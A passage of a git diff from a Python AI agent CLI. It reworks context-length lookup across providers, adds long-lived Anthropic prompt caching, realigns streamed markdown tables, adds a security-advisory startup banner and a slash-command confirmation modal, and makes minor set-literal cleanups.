used for the generic OpenRouter path (step 6 in + resolve_context_length) so the Nous portal path does not short-circuit it. + """ + ctx = entry.get("context_length") + if ctx is None: + return None + if ctx <= 32768 and _model_name_suggests_kimi(or_id): + logger.info( + "Rejecting OpenRouter metadata context=%s for %r " + "(Kimi-family underreport, Nous path); falling through to hardcoded defaults", + ctx, or_id, + ) + return None + return ctx + # Exact match first if model in metadata: - return metadata[model].get("context_length") + return _safe_ctx(model, metadata[model]) normalized = _normalize_model_version(model).lower() for or_id, entry in metadata.items(): bare = or_id.split("/", 1)[1] if "/" in or_id else or_id if bare.lower() == model.lower() or _normalize_model_version(bare).lower() == normalized: - return entry.get("context_length") + return _safe_ctx(or_id, entry) # Partial prefix match for cases like gemini-3-flash → gemini-3-flash-preview # Require match to be at a word boundary (followed by -, :, or end of string) @@ -1285,7 +1377,7 @@ def _resolve_nous_context_length(model: str) -> Optional[int]: if candidate.startswith(query) and ( len(candidate) == len(query) or candidate[len(query)] in "-:." ): - return entry.get("context_length") + return _safe_ctx(or_id, entry) return None @@ -1307,12 +1399,17 @@ def get_model_context_length( 2. Active endpoint metadata (/models for explicit custom endpoints) 3. Local server query (for local endpoints) 4. Anthropic /v1/models API (API-key users only, not OAuth) - 5. OpenRouter live API metadata - 6. Nous suffix-match via OpenRouter cache - 7. models.dev registry lookup (provider-aware) - 8. Thin hardcoded defaults (broad family patterns) - 9. Default fallback (256K) - """ + 5. Provider-aware lookups (before generic OpenRouter cache): + a. Copilot live /models API + b. Nous suffix-match via OpenRouter cache + c. Codex OAuth /models probe + d. GMI /models endpoint + e. Ollama native /api/show probe (any base_url, provider-agnostic) + f. models.dev registry lookup (with :cloud/-cloud suffix fallback) + 6. OpenRouter live API metadata (Kimi-family 32k guard) + 7. Hardcoded defaults (broad family patterns, longest-key-first) + 8. Local server query (last resort) + 9. Default fallback (256K)""" # 0. Explicit config override — user knows best if config_context_length is not None and isinstance(config_context_length, int) and config_context_length > 0: return config_context_length @@ -1359,6 +1456,14 @@ def get_model_context_length( model, base_url, f"{cached:,}", ) _invalidate_cached_context_length(model, base_url) + # Invalidate stale 32k cache entries for Kimi-family models. + elif cached <= 32768 and _model_name_suggests_kimi(model): + logger.info( + "Dropping stale Kimi cache entry %s@%s -> %s (OpenRouter underreport); " + "re-resolving via hardcoded defaults", + model, base_url, f"{cached:,}", + ) + _invalidate_cached_context_length(model, base_url) else: return cached @@ -1392,6 +1497,13 @@ def get_model_context_length( if context_length is not None: return context_length if not _is_known_provider_base_url(base_url): + # 2b. Ollama native /api/show — any URL might be an Ollama server + # (local, cloud, or custom hosting). Non-Ollama servers return + # 404/405 quickly. Fall through on failure. + ctx = _query_ollama_api_show(model, base_url, api_key=api_key) + if ctx is not None: + save_context_length(model, base_url, ctx) + return ctx # 3. Try querying local server directly if is_local_endpoint(base_url): local_ctx = _query_local_context_length(model, base_url, api_key=api_key) @@ -1423,7 +1535,7 @@ def get_model_context_length( # (e.g. claude-opus-4.6 is 1M on Anthropic but 128K on GitHub Copilot). # If provider is generic (openrouter/custom/empty), try to infer from URL. effective_provider = provider - if not effective_provider or effective_provider in ("openrouter", "custom"): + if not effective_provider or effective_provider in {"openrouter", "custom"}: if base_url: inferred = _infer_provider_from_url(base_url) if inferred: @@ -1433,7 +1545,7 @@ def get_model_context_length( # This catches account-specific models (e.g. claude-opus-4.6-1m) that # don't exist in models.dev. For models that ARE in models.dev, this # returns the provider-enforced limit which is what users can actually use. - if effective_provider in ("copilot", "copilot-acp", "github-copilot"): + if effective_provider in {"copilot", "copilot-acp", "github-copilot"}: try: from hermes_cli.models import get_copilot_model_context ctx = get_copilot_model_context(model, api_key=api_key) @@ -1461,16 +1573,45 @@ def get_model_context_length( ctx = _resolve_endpoint_context_length(model, base_url, api_key=api_key) if ctx is not None: return ctx + # 5e. Ollama native /api/show probe — runs for ANY provider with a + # base_url, not just ollama-cloud. Ollama-compatible servers expose + # this endpoint regardless of hostname (local Ollama, Ollama Cloud, + # custom Ollama hosting). The OpenAI-compat /v1/models endpoint + # correctly omits context_length per the OpenAI schema, but /api/show + # returns the authoritative GGUF model_info.context_length. + # For non-Ollama servers (OpenAI, Anthropic, etc.), the POST returns + # 404/405 quickly. Results are cached, so the hit is per-model+URL, + # once per hour. + if base_url: + ctx = _query_ollama_api_show(model, base_url, api_key=api_key) + if ctx is not None: + save_context_length(model, base_url, ctx) + return ctx if effective_provider: from agent.models_dev import lookup_models_dev_context ctx = lookup_models_dev_context(effective_provider, model) if ctx: return ctx - # 6. OpenRouter live API metadata (provider-unaware fallback) - metadata = fetch_model_metadata() - if model in metadata: - return metadata[model].get("context_length", DEFAULT_FALLBACK_CONTEXT) + # 6. OpenRouter live API metadata — provider-unaware fallback. + # Only consulted when the provider is unknown (no effective_provider), + # because OpenRouter data is community-maintained and can be incorrect + # for models that belong to known providers with curated defaults. + if not effective_provider: + metadata = fetch_model_metadata() + if model in metadata: + or_ctx = metadata[model].get("context_length", DEFAULT_FALLBACK_CONTEXT) + # Guard against stale OpenRouter metadata for Kimi-family models. + if or_ctx == 32768 and _model_name_suggests_kimi(model): + logger.info( + "Rejecting OpenRouter metadata context=%s for %r " + "(Kimi-family underreport); falling through to hardcoded defaults", + or_ctx, model, + ) + else: + return or_ctx + + # 7. (reserved) # 8. Hardcoded defaults (fuzzy match — longest key first for specificity) # Only check `default_model in model` (is the key a substring of the input). @@ -1533,7 +1674,7 @@ def _count_image_tokens(msg: Dict[str, Any], cost_per_image: int) -> int: if not isinstance(part, dict): continue ptype = part.get("type") - if ptype in ("image", "image_url", "input_image"): + if ptype in {"image", "image_url", "input_image"}: count += 1 stashed = msg.get("_anthropic_content_blocks") if isinstance(msg, dict) else None if isinstance(stashed, list): @@ -1545,7 +1686,7 @@ def _count_image_tokens(msg: Dict[str, Any], cost_per_image: int) -> int: inner = content.get("content") if isinstance(inner, list): for part in inner: - if isinstance(part, dict) and part.get("type") in ("image", "image_url"): + if isinstance(part, dict) and part.get("type") in {"image", "image_url"}: count += 1 return count * cost_per_image @@ -1567,7 +1708,7 @@ def _estimate_message_chars(msg: Dict[str, Any]) -> int: cleaned = [] for part in v: if isinstance(part, dict): - if part.get("type") in ("image", "image_url", "input_image"): + if part.get("type") in {"image", "image_url", "input_image"}: cleaned.append({"type": part.get("type"), "image": "[stripped]"}) else: cleaned.append(part) diff --git a/agent/models_dev.py b/agent/models_dev.py index fbb3153829ba..d709d7176d49 100644 --- a/agent/models_dev.py +++ b/agent/models_dev.py @@ -145,7 +145,9 @@ class ProviderInfo: "openai": "openai", "openai-codex": "openai", "zai": "zai", + "kimi": "kimi-for-coding", "kimi-coding": "kimi-for-coding", + "moonshot": "kimi-for-coding", "stepfun": "stepfun", "kimi-coding-cn": "kimi-for-coding", "minimax": "minimax", @@ -347,6 +349,28 @@ def lookup_models_dev_context(provider: str, model: str) -> Optional[int]: if ctx: return ctx + # Suffix-aware fallback: some providers (e.g. ollama-cloud) store + # model IDs with :cloud / -cloud suffixes in models.dev while the + # live API returns bare names. Without this, kimi-k2.6 misses the + # kimi-k2.6:cloud entry and falls through to stale OpenRouter metadata + # reporting 32768 — tripping the 64k minimum-context guard. + # The suffix-stripping in fetch_ollama_cloud_models() handles the + # model-picker UX; this handles the context-length lookup path. + for suffix in (":cloud", "-cloud"): + suffixed_key = model + suffix + entry = models.get(suffixed_key) + if entry: + ctx = _extract_context(entry) + if ctx: + return ctx + # Also try case-insensitive + suffixed_lower = model_lower + suffix + for mid, mdata in models.items(): + if mid.lower() == suffixed_lower: + ctx = _extract_context(mdata) + if ctx: + return ctx + return None diff --git a/agent/moonshot_schema.py b/agent/moonshot_schema.py index aeefd4a0ceec..f22176f936e7 100644 --- a/agent/moonshot_schema.py +++ b/agent/moonshot_schema.py @@ -122,7 +122,7 @@ def _repair_schema(node: Any, is_schema: bool = True) -> Any: # empty, drop it entirely. if "enum" in repaired and isinstance(repaired["enum"], list): node_type = repaired.get("type") - if node_type in ("string", "integer", "number", "boolean"): + if node_type in {"string", "integer", "number", "boolean"}: cleaned = [v for v in repaired["enum"] if v is not None and v != ""] if cleaned: @@ -135,7 +135,7 @@ def _repair_schema(node: Any, is_schema: bool = True) -> Any: def _fill_missing_type(node: Dict[str, Any]) -> Dict[str, Any]: """Infer a reasonable ``type`` if this schema node has none.""" - if "type" in node and node["type"] not in (None, ""): + if "type" in node and node["type"] not in {None, ""}: return node # Heuristic: presence of ``properties`` → object, ``items`` → array, ``enum`` diff --git a/agent/prompt_caching.py b/agent/prompt_caching.py index d80f58ea40a6..4829c96b332e 100644 --- a/agent/prompt_caching.py +++ b/agent/prompt_caching.py @@ -1,15 +1,25 @@ -"""Anthropic prompt caching (system_and_3 strategy). +"""Anthropic prompt caching strategies. -Reduces input token costs by ~75% on multi-turn conversations by caching -the conversation prefix. Uses 4 cache_control breakpoints (Anthropic max): - 1. System prompt (stable across all turns) - 2-4. Last 3 non-system messages (rolling window) +Two layouts: + +* ``system_and_3`` (default, used everywhere except the long-lived path): + 4 cache_control breakpoints — system prompt + last 3 non-system messages. + All at the same TTL (5m or 1h). Reduces input token costs by ~75% on + multi-turn conversations within a single session. + +* ``prefix_and_2`` (Claude on Anthropic / OpenRouter / Nous Portal): + 4 breakpoints split across two TTL tiers — tools[-1] (1h) + + stable system prefix (1h) + last 2 non-system messages (5m). The + long-lived prefix is byte-stable across sessions for a given user + config, so every fresh session reads the cached system+tools instead + of re-paying for them. Within-session rolling window shrinks from 3 + messages to 2 to free the breakpoint budget. Pure functions -- no class state, no AIAgent dependency. """ import copy -from typing import Any, Dict, List +from typing import Any, Dict, List, Optional def _apply_cache_marker(msg: dict, cache_marker: dict, native_anthropic: bool = False) -> None: @@ -38,6 +48,14 @@ def _apply_cache_marker(msg: dict, cache_marker: dict, native_anthropic: bool = last["cache_control"] = cache_marker +def _build_marker(ttl: str) -> Dict[str, str]: + """Build a cache_control marker dict for the given TTL ('5m' or '1h').""" + marker: Dict[str, str] = {"type": "ephemeral"} + if ttl == "1h": + marker["ttl"] = "1h" + return marker + + def apply_anthropic_cache_control( api_messages: List[Dict[str, Any]], cache_ttl: str = "5m", @@ -45,7 +63,8 @@ def apply_anthropic_cache_control( ) -> List[Dict[str, Any]]: """Apply system_and_3 caching strategy to messages for Anthropic models. - Places up to 4 cache_control breakpoints: system prompt + last 3 non-system messages. + Places up to 4 cache_control breakpoints: system prompt + last 3 non-system + messages, all at the same TTL. Returns: Deep copy of messages with cache_control breakpoints injected. @@ -54,9 +73,7 @@ def apply_anthropic_cache_control( if not messages: return messages - marker = {"type": "ephemeral"} - if cache_ttl == "1h": - marker["ttl"] = "1h" + marker = _build_marker(cache_ttl) breakpoints_used = 0 @@ -70,3 +87,115 @@ def apply_anthropic_cache_control( _apply_cache_marker(messages[idx], marker, native_anthropic=native_anthropic) return messages + + +def _mark_system_stable_block( + messages: List[Dict[str, Any]], + long_lived_marker: Dict[str, str], +) -> bool: + """Mark the *first* content block of the system message with the 1h marker. + + The system message is expected to have been split into multiple content + blocks beforehand by the caller — block[0] is the cross-session-stable + prefix, subsequent blocks carry context files + volatile suffix. + Falls back to marking the whole system message as a single block when + the message hasn't been split (preserves correctness on the fallback path). + + Returns True when a marker was placed. + """ + if not messages or messages[0].get("role") != "system": + return False + + sys_msg = messages[0] + content = sys_msg.get("content") + + # Already a list of blocks → mark the first block. + if isinstance(content, list) and content: + first = content[0] + if isinstance(first, dict): + first["cache_control"] = long_lived_marker + return True + return False + + # String content (no split) → cannot place a stable-prefix breakpoint + # without changing the byte content. Caller is responsible for + # splitting; if they didn't, fall through to envelope marker so we still + # cache *something* for this turn. + if isinstance(content, str) and content: + sys_msg["content"] = [ + {"type": "text", "text": content, "cache_control": long_lived_marker} + ] + return True + + return False + + +def apply_anthropic_cache_control_long_lived( + api_messages: List[Dict[str, Any]], + long_lived_ttl: str = "1h", + rolling_ttl: str = "5m", + native_anthropic: bool = False, +) -> List[Dict[str, Any]]: + """Apply prefix_and_2 caching: long-lived stable prefix + rolling window. + + Layout (4 breakpoints total): + * Stable system prefix (block[0]) → ``long_lived_ttl`` TTL + * Last 2 non-system messages → ``rolling_ttl`` TTL each + + NOTE: this function does NOT mark the tools array. Tools cache_control + is attached separately (see ``mark_tools_for_long_lived_cache``) because + tools live outside the messages list in the API payload. + + The caller MUST have split the system message into ordered content + blocks where block[0] is the cross-session-stable portion. If the system + message is still a single string, it is wrapped into a single block and + marked — this is correct, just less effective (the volatile suffix is + not isolated, so the prefix invalidates per-session). + + Returns: + Deep copy of messages with cache_control breakpoints injected. + """ + messages = copy.deepcopy(api_messages) + if not messages: + return messages + + long_marker = _build_marker(long_lived_ttl) + rolling_marker = _build_marker(rolling_ttl) + + placed_prefix = _mark_system_stable_block(messages, long_marker) + + # Reserve 1 breakpoint for the system prefix (when placed); spend the + # remaining 3 on the rolling tail. Anthropic max is 4 total — + # tools[-1] (when marked) consumes the 4th, so we cap rolling at 2 here. + rolling_budget = 2 if placed_prefix else 3 + non_sys = [i for i in range(len(messages)) if messages[i].get("role") != "system"] + for idx in non_sys[-rolling_budget:]: + _apply_cache_marker(messages[idx], rolling_marker, native_anthropic=native_anthropic) + + return messages + + +def mark_tools_for_long_lived_cache( + tools: Optional[List[Dict[str, Any]]], + long_lived_ttl: str = "1h", +) -> Optional[List[Dict[str, Any]]]: + """Attach cache_control to the last tool in the OpenAI-format tools list. + + Anthropic prefix-cache order is ``tools → system → messages``. Marking + the last tool dict caches the entire tools array (Anthropic's docs: + "the marker is placed on the last block you want included in the cached + prefix"). Marker is preserved across the OpenAI-wire boundary on + OpenRouter and Nous Portal (which proxies to OpenRouter); on native + Anthropic the marker is forwarded by ``convert_tools_to_anthropic``. + + Returns a deep copy of the tools list with the marker attached, or the + input unchanged when tools is empty/None. Pure function — does not + mutate the input. + """ + if not tools: + return tools + out = copy.deepcopy(tools) + last = out[-1] + if isinstance(last, dict): + last["cache_control"] = _build_marker(long_lived_ttl) + return out diff --git a/agent/redact.py b/agent/redact.py index 1ac284cffd44..c6643304a9da 100644 --- a/agent/redact.py +++ b/agent/redact.py @@ -64,7 +64,7 @@ # cli.py) or `HERMES_REDACT_SECRETS=false` in ~/.hermes/.env. An opt-out # warning is logged at gateway and CLI startup so operators see the # downgrade — see `_log_redaction_status()` in gateway/run.py and cli.py. -_REDACT_ENABLED = os.getenv("HERMES_REDACT_SECRETS", "true").lower() in ("1", "true", "yes", "on") +_REDACT_ENABLED = os.getenv("HERMES_REDACT_SECRETS", "true").lower() in {"1", "true", "yes", "on"} # Known API key prefixes -- match the prefix + contiguous token chars _PREFIX_PATTERNS = [ diff --git a/agent/shell_hooks.py b/agent/shell_hooks.py index d45851fea6ce..bad5388f88bf 100644 --- a/agent/shell_hooks.py +++ b/agent/shell_hooks.py @@ -312,7 +312,7 @@ def _parse_single_entry( ) matcher = None - if matcher is not None and event not in ("pre_tool_call", "post_tool_call"): + if matcher is not None and event not in {"pre_tool_call", "post_tool_call"}: logger.warning( "hooks.%s[%d].matcher=%r will be ignored at runtime — the " "matcher field is only honored for pre_tool_call / " @@ -423,7 +423,7 @@ def _make_callback(spec: ShellHookSpec) -> Callable[..., Optional[Dict[str, Any] def _callback(**kwargs: Any) -> Optional[Dict[str, Any]]: # Matcher gate — only meaningful for tool-scoped events. - if spec.event in ("pre_tool_call", "post_tool_call"): + if spec.event in {"pre_tool_call", "post_tool_call"}: if not spec.matches_tool(kwargs.get("tool_name")): return None @@ -658,7 +658,7 @@ def _prompt_and_record( print() # keep the terminal tidy after ^C return False - if answer in ("y", "yes"): + if answer in {"y", "yes"}: _record_approval(event, command) return True @@ -752,13 +752,13 @@ def _resolve_effective_accept( if accept_hooks_arg: return True env = os.environ.get("HERMES_ACCEPT_HOOKS", "").strip().lower() - if env in ("1", "true", "yes", "on"): + if env in {"1", "true", "yes", "on"}: return True cfg_val = cfg.get("hooks_auto_accept", False) if isinstance(cfg_val, bool): return cfg_val if isinstance(cfg_val, str): - return cfg_val.strip().lower() in ("1", "true", "yes", "on") + return cfg_val.strip().lower() in {"1", "true", "yes", "on"} return False diff --git a/agent/skill_commands.py b/agent/skill_commands.py index 0276d5fc9acf..c8b7d039c46f 100644 --- a/agent/skill_commands.py +++ b/agent/skill_commands.py @@ -261,7 +261,7 @@ def scan_skill_commands() -> Dict[str, Dict[str, Any]]: for scan_dir in dirs_to_scan: for skill_md in iter_skill_index_files(scan_dir, "SKILL.md"): - if any(part in ('.git', '.github', '.hub', '.archive') for part in skill_md.parts): + if any(part in {'.git', '.github', '.hub', '.archive'} for part in skill_md.parts): continue try: content = skill_md.read_text(encoding='utf-8') diff --git a/agent/transports/chat_completions.py b/agent/transports/chat_completions.py index 9b0dc32e5cc0..7edb69e42c74 100644 --- a/agent/transports/chat_completions.py +++ b/agent/transports/chat_completions.py @@ -279,7 +279,7 @@ def build_kwargs( _kimi_effort = "medium" if reasoning_config and isinstance(reasoning_config, dict): _e = (reasoning_config.get("effort") or "").strip().lower() - if _e in ("low", "medium", "high"): + if _e in {"low", "medium", "high"}: _kimi_effort = _e api_kwargs["reasoning_effort"] = _kimi_effort @@ -294,7 +294,7 @@ def build_kwargs( _tokenhub_effort = "high" if reasoning_config and isinstance(reasoning_config, dict): _e = (reasoning_config.get("effort") or "").strip().lower() - if _e in ("low", "medium", "high"): + if _e in {"low", "medium", "high"}: _tokenhub_effort = _e api_kwargs["reasoning_effort"] = _tokenhub_effort diff --git a/batch_runner.py b/batch_runner.py index 9d6838288d43..a67037171bf0 100644 --- a/batch_runner.py +++ b/batch_runner.py @@ -795,7 +795,7 @@ def _filter_dataset_by_completed(self, completed_prompts: set) -> Tuple[List[Dic conversations = entry.get("conversations", []) for msg in conversations: role = msg.get("role") or msg.get("from") - if role in ("user", "human"): + if role in {"user", "human"}: prompt_text = (msg.get("content") or msg.get("value", "")).strip() break diff --git a/cli.py b/cli.py index fd9cc275e8a9..ea167b6b4116 100644 --- a/cli.py +++ b/cli.py @@ -87,6 +87,11 @@ format_duration_compact, format_token_count_compact, ) +from agent.markdown_tables import ( + is_table_divider, + looks_like_table_row, + realign_markdown_tables, +) # NOTE: `from agent.account_usage import ...` is deliberately NOT at module # top — it transitively pulls the OpenAI SDK chain (~230 ms cold) and is only # needed when the user runs `/limits`. Lazy-imported inside the handler below. @@ -1349,18 +1354,59 @@ def _protect(match: re.Match[str]) -> str: return _WINDOWS_PATH_WITH_DOT_SEGMENT_RE.sub(_protect, text) +def _terminal_width_for_streaming() -> int: + """Display cells available inside the streamed response box. + + The streaming path indents every line by ``_STREAM_PAD`` (4 cells) + inside an open response panel. The realigner uses this number as + its budget when deciding whether to keep a horizontal table or + fall back to vertical key-value rendering. We subtract a small + safety margin so terminal-resize races don't push a borderline + table into mid-cell soft-wrap. + """ + + try: + cols = shutil.get_terminal_size((80, 24)).columns + except Exception: + cols = 80 + return max(20, cols - len(_STREAM_PAD) - 2) + + def _render_final_assistant_content(text: str, mode: str = "render"): """Render final assistant content as markdown, stripped text, or raw text.""" from rich.markdown import Markdown + # Estimate the cells available to the rendered table. The Panel + # used by the background-task / final-response path has 4 cells of + # left+right padding plus 1 cell of border on each side, plus the + # _STREAM_PAD indent that streamed content uses. Subtract a small + # safety margin so resize races don't push a borderline table into + # soft-wrap. + try: + cols = shutil.get_terminal_size((80, 24)).columns + except Exception: + cols = 80 + panel_width = max(20, cols - 12) + normalized_mode = str(mode or "render").strip().lower() if normalized_mode == "strip": - return _RichText(_strip_markdown_syntax(text)) + # Strip first — inline markdown inside cells (`code`, **bold**, ~~strike~~) + # changes cell display width — then re-align so the column padding + # reflects the final visible text, not the marker-decorated source. + return _RichText( + realign_markdown_tables(_strip_markdown_syntax(text), panel_width) + ) if normalized_mode == "raw": return _rich_text_from_ansi(text or "") + # `render` mode: Rich's Markdown renderer handles CJK width via wcwidth + # internally, so a pre-pass through realign_markdown_tables would just + # rewrite already-correct padding. But on the way in we still want to + # normalise model-emitted under-padded tables so that mid-render fallbacks + # (narrow panels, etc.) at least see consistent input. plain = _rich_text_from_ansi(text or "").plain plain = _preserve_windows_dot_segments_for_markdown(plain) + plain = realign_markdown_tables(plain, panel_width) return Markdown(plain) @@ -1727,7 +1773,7 @@ def _detect_file_drop(user_input: str) -> "dict | None": or stripped.startswith("./") or stripped.startswith("../") or stripped.startswith("file://") - or (len(stripped) >= 3 and stripped[1] == ":" and stripped[2] in ("\\", "/") and stripped[0].isalpha()) + or (len(stripped) >= 3 and stripped[1] == ":" and stripped[2] in {"\\", "/"} and stripped[0].isalpha()) or stripped.startswith('"/') or stripped.startswith('"~') or stripped.startswith("'/") @@ -1736,7 +1782,7 @@ def _detect_file_drop(user_input: str) -> "dict | None": or stripped.startswith('"../') or stripped.startswith("'./") or stripped.startswith("'../") - or (len(stripped) >= 4 and stripped[0] in ("'", '"') and stripped[2] == ":" and stripped[3] in ("\\", "/") and stripped[1].isalpha()) + or (len(stripped) >= 4 and stripped[0] in {"'", '"'} and stripped[2] == ":" and stripped[3] in {"\\", "/"} and stripped[1].isalpha()) ) if not starts_like_path: return None @@ -2331,6 +2377,12 @@ def __init__( self._stream_started = False # True once first delta arrives self._stream_box_opened = False # True once the response box header is printed self._reasoning_preview_buf = "" # Coalesce tiny reasoning chunks for [thinking] output + # Table-row buffer. When a streamed line looks like it could be + # part of a markdown table, hold it here until the block ends so + # we can re-pad with wcwidth-aware widths. Empty by default; + # populated only while `_in_stream_table` is True. + self._stream_table_buf: list[str] = [] + self._in_stream_table = False self._pending_edit_snapshots = {} self._last_input_mode_recovery = 0.0 self._input_mode_recovery_notice_shown = False @@ -2467,7 +2519,7 @@ def __init__( _or_cfg = CLI_CONFIG.get("openrouter", {}) or {} _raw_score = _or_cfg.get("min_coding_score") self._openrouter_min_coding_score: Optional[float] = None - if _raw_score not in (None, ""): + if _raw_score not in {None, ""}: try: _f = float(_raw_score) if 0.0 <= _f <= 1.0: @@ -2558,6 +2610,8 @@ def __init__( self._approval_state = None self._approval_deadline = 0 self._approval_lock = threading.Lock() + self._slash_confirm_state = None + self._slash_confirm_deadline = 0 self._model_picker_state = None self._secret_state = None self._secret_deadline = 0 @@ -3622,11 +3676,51 @@ def _emit_stream_text(self, text: str) -> None: # Emit complete lines, keep partial remainder in buffer _tc = getattr(self, "_stream_text_ansi", "") + + def _emit_one(printed_line: str) -> None: + _cprint(f"{_STREAM_PAD}{_tc}{printed_line}{_RST}" if _tc else f"{_STREAM_PAD}{printed_line}") + + def _flush_table_buf() -> None: + buf = self._stream_table_buf + self._stream_table_buf = [] + self._in_stream_table = False + if not buf: + return + # Strip cell-level markdown (`code`, **bold**, ~~strike~~) FIRST + # so the realigner pads to the final visible cell width, not + # the marker-decorated source width. Otherwise a body row + # like `` | Bold | `**bold**` | `` lands narrower than its + # header column once the markers are removed. + joined = "\n".join(buf) + if self.final_response_markdown == "strip": + joined = _strip_markdown_syntax(joined) + block = realign_markdown_tables(joined, _terminal_width_for_streaming()) + for ln in block.split("\n"): + _emit_one(ln) + while "\n" in self._stream_buf: line, self._stream_buf = self._stream_buf.split("\n", 1) + + # Hold table-shaped lines in a side-buffer so we can re-pad + # the whole block once it ends. Streaming line-by-line, we + # cannot re-align mid-table without reflowing already-printed + # rows; the cost is that the user sees the table appear in a + # single batch when the block closes instead of row-by-row. + if self._in_stream_table: + if looks_like_table_row(line) or is_table_divider(line): + self._stream_table_buf.append(line) + continue + # Block ended — flush the realigned table, then fall + # through to print the current (non-table) line. + _flush_table_buf() + elif looks_like_table_row(line): + self._stream_table_buf.append(line) + self._in_stream_table = True + continue + if self.final_response_markdown == "strip": line = _strip_markdown_syntax(line) - _cprint(f"{_STREAM_PAD}{_tc}{line}{_RST}" if _tc else f"{_STREAM_PAD}{line}") + _emit_one(line) def _flush_stream(self) -> None: """Emit any remaining partial line from the stream buffer and close the box.""" @@ -3641,8 +3735,34 @@ def _flush_stream(self) -> None: # Close reasoning box if still open (in case no content tokens arrived) self._close_reasoning_box() + _tc = getattr(self, "_stream_text_ansi", "") + + # If the stream buffer has a trailing partial line that looks like + # a table row, fold it into the table buffer so the whole block + # gets re-aligned together. Otherwise the final row prints raw + # (with the model's original under-padded spacing) while the rows + # above it are aligned. + if ( + self._stream_buf + and getattr(self, "_in_stream_table", False) + and (looks_like_table_row(self._stream_buf) or is_table_divider(self._stream_buf)) + ): + self._stream_table_buf.append(self._stream_buf) + self._stream_buf = "" + + # Flush any buffered table rows first so their padding is + # finalised before the stream remainder lands. + if getattr(self, "_stream_table_buf", None): + joined = "\n".join(self._stream_table_buf) + self._stream_table_buf = [] + self._in_stream_table = False + if self.final_response_markdown == "strip": + joined = _strip_markdown_syntax(joined) + block = realign_markdown_tables(joined, _terminal_width_for_streaming()) + for ln in block.split("\n"): + _cprint(f"{_STREAM_PAD}{_tc}{ln}{_RST}" if _tc else f"{_STREAM_PAD}{ln}") + if self._stream_buf: - _tc = getattr(self, "_stream_text_ansi", "") line = _strip_markdown_syntax(self._stream_buf) if self.final_response_markdown == "strip" else self._stream_buf _cprint(f"{_STREAM_PAD}{_tc}{line}{_RST}" if _tc else f"{_STREAM_PAD}{line}") self._stream_buf = "" @@ -3665,6 +3785,8 @@ def _reset_stream_state(self) -> None: self._reasoning_buf = "" self._reasoning_preview_buf = "" self._deferred_content = "" + self._stream_table_buf = [] + self._in_stream_table = False def _slow_command_status(self, command: str) -> str: """Return a user-facing status message for slower slash commands.""" @@ -3715,7 +3837,7 @@ def _open_external_editor(self, buffer=None) -> bool: if self._command_running: _cprint(f"{_DIM}Wait for the current command to finish before opening the editor.{_RST}") return False - if self._sudo_state or self._secret_state or self._approval_state or self._clarify_state: + if self._sudo_state or self._secret_state or self._approval_state or getattr(self, "_slash_confirm_state", None) or self._clarify_state: _cprint(f"{_DIM}Finish the active prompt before opening the editor.{_RST}") return False target_buffer = buffer or getattr(app, "current_buffer", None) @@ -4092,12 +4214,34 @@ def _init_agent(self, *, model_override: str = None, runtime_override: dict = No ChatConsole().print(f"[bold red]Failed to initialize agent: {e}[/]") return False + def _show_security_advisories(self): + """Show a startup banner if any unacked security advisories match. + + Renders a single bold-red box on stderr (so piped stdout remains + clean) listing the worst hit and pointing at ``hermes doctor``. + Banner-cache rate-limits this to once per 24h per advisory; full + remediation lives behind ``hermes doctor`` so the banner stays + small. + """ + try: + from hermes_cli.security_advisories import ( + detect_compromised, + startup_banner, + ) + hits = detect_compromised() + banner = startup_banner(hits) + if banner: + # Print to stderr — keeps stdout clean for piped automation, + # and Rich's banner rendering already wrote to stdout above. + print(banner, file=sys.stderr, flush=True) + except Exception: + # Never let the security banner block startup. Failures are + # logged at DEBUG by the advisory module. + pass + def show_banner(self): """Display the welcome banner in Claude Code style.""" self.console.clear() - - # Get context length for display before branching so it remains - # available to the low-context warning logic in compact mode too. ctx_len = None if hasattr(self, 'agent') and self.agent and hasattr(self.agent, 'context_compressor'): ctx_len = self.agent.context_compressor.context_length @@ -4573,7 +4717,7 @@ def _handle_snapshot_command(self, command: str): parts = command.split() subcmd = parts[1].lower() if len(parts) > 1 else "list" - if subcmd in ("list", "ls"): + if subcmd in {"list", "ls"}: snaps = list_quick_snapshots() if not snaps: print(" No state snapshots yet.") @@ -4601,7 +4745,7 @@ def _handle_snapshot_command(self, command: str): else: print(" No state files found to snapshot.") - elif subcmd in ("restore", "rewind"): + elif subcmd in {"restore", "rewind"}: if len(parts) < 3: print(" Usage: /snapshot restore ") # Show hint with most recent snapshot @@ -5140,7 +5284,7 @@ def isatty(self) -> bool: parts = cmd.split() subcommand = parts[1] if len(parts) > 1 else "" - if subcommand not in ("list", "disable", "enable"): + if subcommand not in {"list", "disable", "enable"}: self.show_tools() return @@ -6059,6 +6203,194 @@ def _ask(): _ask() return result[0] + def _prompt_text_input_modal( + self, + *, + title: str, + detail: str, + choices: list[tuple[str, str, str]], + timeout: float = 120, + ) -> str | None: + """Prompt through the prompt_toolkit composer instead of raw input(). + + This is for CLI slash-command confirmations. The old raw input() path + fought prompt_toolkit's active stdin ownership: in some terminals the + prompt appeared above the TUI, choices were redrawn later, and Enter + could be interpreted as EOF/exit. A first-class modal state keeps the + choices visible and lets the normal Enter key binding submit the typed + or highlighted choice. + """ + import time as _time + + if not choices: + return None + + # If prompt_toolkit is not running (unit tests / non-interactive calls), + # keep the simple stdin fallback. + if not getattr(self, "_app", None): + return self._prompt_text_input("Choice [1/2/3]: ") + + response_queue = queue.Queue() + self._capture_modal_input_snapshot() + self._slash_confirm_state = { + "title": title, + "detail": detail, + "choices": choices, + "selected": 0, + "response_queue": response_queue, + } + self._slash_confirm_deadline = _time.monotonic() + timeout + self._invalidate() + + _last_countdown_refresh = _time.monotonic() + try: + while True: + try: + result = response_queue.get(timeout=1) + self._slash_confirm_state = None + self._slash_confirm_deadline = 0 + self._restore_modal_input_snapshot() + self._invalidate() + return result + except queue.Empty: + remaining = self._slash_confirm_deadline - _time.monotonic() + if remaining <= 0: + break + now = _time.monotonic() + if now - _last_countdown_refresh >= 5.0: + _last_countdown_refresh = now + self._invalidate() + finally: + if self._slash_confirm_state is not None: + self._slash_confirm_state = None + self._slash_confirm_deadline = 0 + self._restore_modal_input_snapshot() + self._invalidate() + return None + + def _submit_slash_confirm_response(self, value: str | None) -> None: + state = self._slash_confirm_state + if not state: + return + state["response_queue"].put(value) + self._slash_confirm_state = None + self._slash_confirm_deadline = 0 + self._invalidate() + + def _normalize_slash_confirm_choice( + self, + raw: str | None, + choices: list[tuple[str, str, str]], + ) -> str | None: + if raw is None: + return None + choice_raw = raw.strip().lower() + if not choice_raw: + return None + aliases = { + "1": "once", + "once": "once", + "approve": "once", + "yes": "once", + "y": "once", + "ok": "once", + "2": "always", + "always": "always", + 